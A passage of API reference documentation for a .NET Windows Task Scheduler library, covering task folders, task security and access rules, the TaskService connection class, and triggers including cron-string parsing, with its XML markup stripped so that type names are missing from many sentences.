Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + 